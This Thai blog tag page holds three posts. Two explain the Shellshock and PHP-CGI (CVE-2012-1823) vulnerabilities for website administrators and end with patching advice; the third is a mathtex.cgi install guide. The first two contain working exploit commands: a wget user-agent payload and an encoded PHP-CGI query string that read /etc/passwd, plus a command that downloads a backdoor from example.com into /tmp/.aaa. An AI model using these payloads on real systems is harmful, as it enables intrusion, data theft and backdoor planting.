Tag: cgi-bin

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #16

    ShellShock หรือในอีกชื่อคือ Bashdoor (เลียนเสียง Backdoor) ซะงั้น เป็นช่องโหว่ใน Shell ที่ใช้กันทั่วไปในตระกูล *NIX ทั้ง UNIX, Linux รวมถึง Mac OS X[1] ด้วย โดยอาศัยความสามารถในการเขียน Function ใส่ใน Environment Variable ได้ โดยไม่มีการตรวจสอบข้อมูลที่แถมมาทำให้สามารถแทรกคำสั่งของระบบปฏิบัติการได้

    ช่องโหว่นี้เริ่มประกาศเป็น CVE-2014-6271[2] โดย Bash Shell ที่ได้รับผลกระทบเริ่มตั้งแต่รุ่น 1.14.0 ถึง 4.3 ย้อนกลับไปตั้งแต่ปี 1999 กันเลยทีเดียว !!  มีผลกระทบกับ CGI-base Web Server (ได้แก่ Apache), OpenSSH Server, DHCP Clients และ Qmail Server โดยเป็น Bug ตาม CWE 78[3] Improper Sanitization of Special Elements used in an OS Command (‘OS Command Injection’)

    วิธีตรวจสอบ Bash Version ใช้คำสั่ง

    bash --version

    หากพบว่า ต่ำกว่า 4.3 ก็ให้ลองคำสั่งต่อไปนี้

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ถ้าตอบมาว่า

    Vulnerable
    Hello World

    ก็แสดงว่า เป็นเครื่องนี้มีช่องโหว่ครับ

    อธิบายเพิ่มเติม

    1. คำสั่งในการสร้าง Environment Variable คือ

    env x=' … '

    โดยในที่นี้จะมีตัวแปร x เป็น Environment Variable

    2. ต่อมา ในตัวแปร x สามารถสร้าง Function ได้ ในรูปแบบ

    env x='() { :;};'

    ภายใน { } จะใส่คำสั่งอะไรก็ได้ แต่ในตัวอย่างนี้ เครื่องหมาย : มีความหมายเหมือนกับ true อะไรทำนองนั้น

    3. ปัญหาอยู่ตรงที่ว่า Bash Shell ที่มีปัญหา ไม่ได้ตรวจสอบว่า Environment Variable ที่สร้างแบบ Function นี้ สิ้นสุดแค่การสร้าง function ทำให้สามารถแทรกคำสั่งเพิ่มเติมได้ หลังเครื่องหมาย ;

    env x='() { :;}; echo Vulnerable'

    ลองใช้คำสั่ง

    env x='() { :;}; cat /etc/passwd'

    จะแสดงตัวแปร Environment Variable ทั้งหมด และพบตัวแปร x มีค่าเป็น function อยู่ แต่จะยังไม่มีอะไรเกิดขึ้น

    4. แต่เมื่อมีการเรียก Bash Shell ทำงาน ด้วยคำสั่ง

    env x='() { :;}; echo Vulnerable' bash -c 'echo Hello World'

    ก็จะเป็นการเรียกคำสั่งในตัวแปร x ออกมาด้วยนั่นเอง

    กรณีผลกระทบของ DHCP Client คือ ถ้าเครื่อง DHCP Server ตัวอย่างเช่น dnsmasq[4] สามารถตั้งค่า dhcp-option-force ซึ่งจะส่งคำสั่งไปยัง DHCP Client ที่ใช้ Bash Shell ทำงานตามต้องการได้ เช่น

    dhcp-option-force=100,() { :; }; echo ‘You are going to be shocked..ShellShock !!!’>/tmp/

    ในส่วนของ Web Security หากติดตั้ง Apache [5]และใช้งาน CGI บนเครื่องที่มี Bash Shell ที่มีช่องโหว่นี้ ก็จะเกิดปัญหา โดยอาศัยตัวแปร Agent String วิธีการทดสอบมีดังนี้

    1. ที่เครื่องเว็บเซิร์ฟเวอร์ที่มี Apache และใช้งาน CGI มี test.cgi ง่ายๆดังนี้

    #!/bin/bash
     echo "Content-type: text/plain"
     echo
     echo
     echo "Hi"

    2. ถ้าเรียกผ่าน Web Server มี IP Address เป็น 192.168.56.101 และจะเรียก URL ของ CGI ดังนี้

    http://192.168.56.101/cgi-bin/test.cgi
    

    การเรียกผ่าน Web Browser ก็จะทำงานตามปรกติ

    3. แต่ถ้าใช้ wget ผ่านทาง command linet ไป โดยกำหนด option -U เพื่อบอกว่า Agent String ที่ติดต่อไปคืออะไร ก็จะสามารถแทรกคำสั่งเพิ่มเติมได้ เพราะ Apache CGI ใช้ Bash Shell ในการทำงานนี้ เช่นใช้คำสั่ง

    wget -U "() { :;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.56.101/cgi-bin/test.cgi

    คำสั่งนี้ จะติดต่อไปยัง Web Server โดยแทนที่จะบอกว่าติดต่อไปจาก Agent อะไรธรรมดาๆ ก็จะแทรก Shell เข้าไปด้วย โดยตัวอย่างนี้ จะได้ /etc/passwd ออกมา เก็บไว้ที่เครื่อง ชื่อไฟล์ test.cgi

    ดังนั้น รีบ Patch ซะ

    ขอให้โชคดี


    [1] “Shellshock (software bug) – Wikipedia, the free encyclopedia.” 2014. 20 Jan. 2015 <http://en.wikipedia.org/wiki/Shellshock_(software_bug)>

    [2] “CVE-2014-6271 – CVE Details.” 2014. 20 Jan. 2015 <http://www.cvedetails.com/cve/CVE-2014-6271/>

    [3] “CWE – CWE-78: Improper Neutralization of Special …” 2006. 20 Jan. 2015 <http://cwe.mitre.org/data/definitions/78.html>

    [4] “shellshock dhcp exploitation – Security StackExchange.” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation>

    [5] “What is a specific example of how the Shellshock Bash bug …” 2014. 20 Jan. 2015 <http://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #13

    บทความนี้ แสดงให้เห็นการโจมตีช่องโหว่ของ PHP แบบ CGI  ทำให้สามารถ แทรกคำสั่งต่างๆไปยังเครื่องเป้าหมายได้ ดังที่ปรากฏใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6 โดย PHP Version ที่ต่ำกว่า 5.3.12 และใช้แบบ php5-cgi จะมีช่องโหว่นี้

    ก่อนอื่น ขออธิบายคร่าวๆ ว่า การใช้งาน PHP นั้น มีวิธีที่นิยมใช้กัน 3 วิธี [1] ได้แก่

    1. Apache Module
    2. CGI
    3. FastCGI

    1. Apache Module (mod_apache) เป็นวิธีการที่ใช้งานอยู่กันโดยทั่วไป ได้รับความนิยม เพราะติดตั้งง่าย
    ข้อดี:
    – PHP ทำงานร่วมกับ Apache
    – เหมาะกับงานที่ใช้ PHP เยอะๆ
    ข้อเสีย:
    – ทุก Apache Process จะมีการโหลด PHP เข้าไปด้วย แสดงว่า จะใช้ Memory มากขึ้น ยิ่งมีการโหลด Module เพิ่ม ก็ยิ่งใช้ Memory เพิ่มอีก ทั้งนี้ ไม่ว่าจะเป็นการเรียก ภาพ หรืออะไรที่ไม่ใช้ PHP ก็ตาม
    – สิทธิ์ในการสร้าง/แก้ไขไฟล์ จะเป็นของ Web User เช่น Apache/httpd เป็นต้น ทำให้ มีปัญหาด้านความปลอดภัย ในกรณีใช้พื้นที่ร่วมกัน

    2. CGI เป็นวิธีการใช้ PHP Interpreter เฉพาะที่จำเป็น
    ข้อดี
    – แก้ไขปัญหาด้านความปลอดภัย ในการใช้พื้นที่ร่วมกัน เพราะสิทธิ์ในการสร้าง/แก้ไขไฟล์ จะแยกเป็นของผู้ใช้แต่ละคน ดังนั้น เมื่อเกิดการเจาะช่องโหว่ ก็จะไม่กระทบกับผู้อื่น
    – Apache Process จะทำหน้าที่เฉพาะให้บริการ HTTP แต่เมื่อต้องการใช้ PHP จึงจะไปเรียกใช้
    ข้อเสีย
    – เป็นวิธีดั้งเดิม ไม่มีประสิทธิภาพนัก, การตอบสนองช้า

    3. FastCGI เป็นการแยก Web Server กับ PHP ออกจากกัน ทำให้ การใช้งาน HTTP ที่มีต้องใช้ PHP ก็จะใช้งาน Memory น้อย แต่เมื่อต้องการใช้ PHP ก็จะส่งไปทาง Socket ทำให้สามารถกระจาย Load ไปยังเครื่องต่างๆได้
    ข้อดี
    – ให้ความปลอดภัยในการใช้พื้นี่ร่วมกัน แบบ CGI แต่ทำงานเร็วขึ้น
    – สามารถ Scalability ได้ดี
    – Apache Process ที่ไม่ใช้ PHP ก็จะใช้ Memory น้อย
    ข้อเสีย
    – การตั้งค่าค่อนข้างยุ่งยาก จะใช้ .htaccess แบบเดิมไม่ได้ แต่ต้องใช้ php.ini แยกแต่ละผู้ใช้ ทำให้ดูแลยากขึ้น

    ปัญหาอยู่ที่ว่า บาง Web Server ที่ใช้งานกันอยู่ ใช้งาน PHP แบบ Apache Module อย่างเดียว แต่ ไปติดตั้ง PHP แบบ CGI ด้วย (php5-cgi package) แล้ว อาจจะไม่ได้ตรวจสอบให้ดี จึงทำให้มีช่องโหว่ได้

    ตัวอย่างนี้ เป็น Web Server ที่ทำงานบน Ubuntu 10.04 Server + Apache 2.2.4 + PHP 5.2.17 โดย PHP Package ที่ติดตั้งไว้ สามารถดูด้วยคำสั่ง

    sudo dpkg-query -l | grep php

    ผลที่ได้คือ

    ซึ่งจะเห็นว่า มี php5-cgi รุ่น 5..2.17 ซึ่ง มีช่องโหว่ ตาม CVE-2012-1823 ซึ่งทำให้ Hacker สามารถแทรกโค๊ดเข้ามาได้

    สมมุติ Web Server เครื่องนี้ มี IP Address : 192.168.1.20

    Hacker สามารถใช้คำสั่งต่อไปนี้ ( ดัดแปลงจากตัวอย่างของ Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823 [2] และ รายละเอียดของ Query String ดูจากบทความ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6)

    qstring="%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E"

    ซึ่ง qstring นี้ เมื่อถอดรหัสจากเลขฐาน 16 เป็นข้อความจะได้ว่า

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

    จากนั้น Hacker ก็ใช้คำสั่งต่อไปนี้

    echo "<?php system('cat /etc/passwd');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    ผลที่ได้คือ

    และ Hacker สามารถทำอะไรก็ได้ เช่นไปเอา Backdoor จากที่อื่นมาใส่ได้ ตัวอย่างเช่น เอามาจาก http://example.com/backdoor ไปเก็บไว้ที่ /tmp/.aaa ด้วยคำสั่งนี้

    echo "<?php system(' wget -q http://example.com/backdoor -O /tmp/.aaa');die(); ?>" | POST "http://192.168.1.20/cgi-bin/php?$qstring"

    หากใช้คำสั่งต่อไปนี้ที่เครื่องเป้าหมาย 192.168.1.20

     ls -la /tmp

    ก็พบว่า มี Backdoor ฝังอยู่แล้ว

    ซึ่ง Hacker ก็สามารถใช้ขั้นตอนคล้ายๆกันนี้ ออกคำสั่งต่างๆได้

    ดังนั้น หากท่านไม่ได้ตั้งใจจะใช้ php5-cgi ก็แนะนำให้เอาออกไป หรือ ทำการ Upgrade ให้เป็นรุ่น 5.3.12 ก็จะปลอดภัยจากช่องโหว่นี้ครับ

    ขอให้โชคดี

    Reference

    [1] http://blog.layershift.com/which-php-mode-apache-vs-cgi-vs-fastcgi/

    [2] http://insecurety.net/?p=705

  • How to install mathtex.cgi ubuntu 12.04

    1. ติดตั้ง texlive-full , dvipng,  imagemagick
      $sudo apt-get install -y texlive-full dvipng imagemagick
    2. ดาวน์โหลด mathtex.zip
      $wget http://www.forkosh.com/mathtex.zip
    3. สร้างไดเร็คทอรี่ mathtex
      $mkdir mathtex
    4. cd mathtex
    5. unzip ../mathtex.zip
    6. compile mathtex.c ด้วยคำสั่ง
      $cc mathtex.c -DLATEX=\"$(which latex)\" -DDVIPNG=\"$(which dvipng)\"  -o mathtex.cgi
    7. sudo mv mathtex.cgi /usr/lib/cgi-bin
    8. sudo chown :www-data /usr/lib/cgi-bin
    9. sudo chmod g+w /usr/lib/cgi-bin
    10. เพิ่มข้อความต่อไปนี้ในแฟ้ม /etc/apache2/sites-enabled/000-default ภายใน Directive VirtualHost ถ้าใส่ตามนี้คืออนุญาติเครือข่ายภายในมหาวิทยาลัยเท่านั้นเข้าถึงได้
      ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
      <Directory /usr/lib/cgi-bin>
          Options +ExecCGI
          Order deny,allow
          Deny from all
          Allow from 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16
      </Directory>
    11. restart apache
      $sudo service apache2 restart
    12. ทดสอบเรียกใช้งานได้ที่ http://yourhostname/cgi-bin/mathtext.cgi?x
    13. texlive เป็นโปรแกรมที่ทดแทน latex ใช้สร้างสมาการทางคณิตศาสตร์
    14. ใน WordPress มีปลั๊กอินชื่อ Youngwhan’s Simple Latex สามารถเรียกใช้ mathtex นี้ได้ทันที โดยปกติจะเซ็ตไว้ให้ใช้ shared host ภายนอกมหาวิทยาลัย
    15. ทดสอบเรียกใช้งาน E=mc^2 ได้ผลเป็น
    16. ตัวอย่างอื่นๆ สำหรับสมการแปลกๆ Example
    17. จบ…. ขอให้สนุกครับ

    ที่มา

    • https://help.ubuntu.com/community/LaTeX
    • http://www.forkosh.com/cgi-bin/weblist.cgi?-t=weblist&-o=php&-f=sources/mimetexquickstartweb.php